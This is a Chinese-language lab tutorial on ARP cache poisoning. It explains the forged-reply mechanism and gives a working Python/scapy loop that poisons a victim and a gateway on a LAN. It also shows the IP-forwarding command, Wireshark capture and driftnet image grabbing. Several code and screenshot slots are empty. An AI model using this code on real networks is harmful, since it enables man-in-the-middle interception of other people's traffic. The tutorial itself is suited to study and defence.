ARP協議並不只在發送了ARP請求才接收ARP應答。當計算機接收到ARP應答數據包的時候,就會對本地的ARP緩存進行更新,將應答中的IP和MAC地址存儲在ARP緩存中。因此,當局域網中的某台機器B向A發送一個自己偽造的ARP應答,而如果這個應答是B冒充C偽造來的,即IP地址為C的IP,而MAC地址是偽造的,則當A接收到B偽造的ARP應答後,就會更新本地的ARP緩存,這樣在A看來C的IP地址沒有變,而它的MAC地址已經不是原來那個了。通過ARP欺騙可以對內網數據進行嗅探,在內網滲透中往往也是重要的一部分。

無線網關:IP:192.168.199.1MAC: d4-ee-07-67-40-68普通用戶:IP:192.168.199.213MAC:5c:93:a2:fe:29:e3攻擊者:IP:192.168.199.229MAC:30-b4-9e-67-25-47實驗環境圖如下:
一、ARP 欺騙原理
攻擊者通過構造兩種ARP響應包,分別欺騙普通用戶和網關路由器。第一種ARP包中源IP為網關IP(192.168.199.1),源MAC為攻擊者MAC(30:b4:9e:67:25:47),目的IP為普通用戶IP(192.168.199.213),目的MAC為普通用戶MAC(5c:93:a2:fe:29:e3)。當用戶收到此ARP報文則將ARP表中網關的MAC地址更新為攻擊者的MAC(30:b4:9e:67:25:47)。當普通轉發數據時數據則會發向攻擊者的PC上,由攻擊者進行數據轉發。第二種ARP包中源IP為普通用戶IP(192.168.199.213),但源MAC為攻擊者MAC(30:b4:9e:67:25:47),目的IP為網關IP(192.168.199.1),目的MAC為網關MAC(d4:ee:07:67:40:68)。網關收到此ARP將ARP表中普通用戶的MAC更新為攻擊者MAC(30:b4:9e:67:25:47)。實現代碼如下:`def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):
poison_target=ARP()poison_target.op=2poison_target.psrc=gateway_ippoison_target.pdst=target_ippoison_target.hwdst=target_macpoison_gateway=ARP()poison_gateway.op=2poison_gateway.psrc=target_ippoison_gateway.pdst=gateway_ippoison_gateway.hwdst=gateway_macprint "[*] Beginning the ARP poison.[CTRL-C to stop]"while True: try: send(poison_target) send(poison_gateway) print "send sucess!" time.sleep(2) except KeyboardInterrupt: restore_target(gateway_ip,gateway_mac,target_ip,target_mac)print "[*] ARP poison attack finished."return
通過不間斷的發送這兩種ARP報文,攻擊者以中間人的形式竊取數據報文。
實驗前普通用戶PC機中ARP表如下:
實驗開始前,需打開攻擊者的路由轉發功能,若未開啟轉發攻擊,普通用戶則無法正常訪問外網。echo 1 > /proc/sys/net/ipv4/ip_forward運行腳本:
查看普通用戶的ARP表項:
二、進行數據包抓取
使用scapy抓包代碼如下:
成功進行了ARP欺騙,訪問外網,能正常訪問
在攻擊者PC上抓取的數據包,並用wireshark打開如下:
三、圖片瀏覽
當被攻擊用戶同瀏覽器訪問圖片文件時,可搭配driftnet進行圖片抓取driftnet -i wlan0抓取圖片如下:

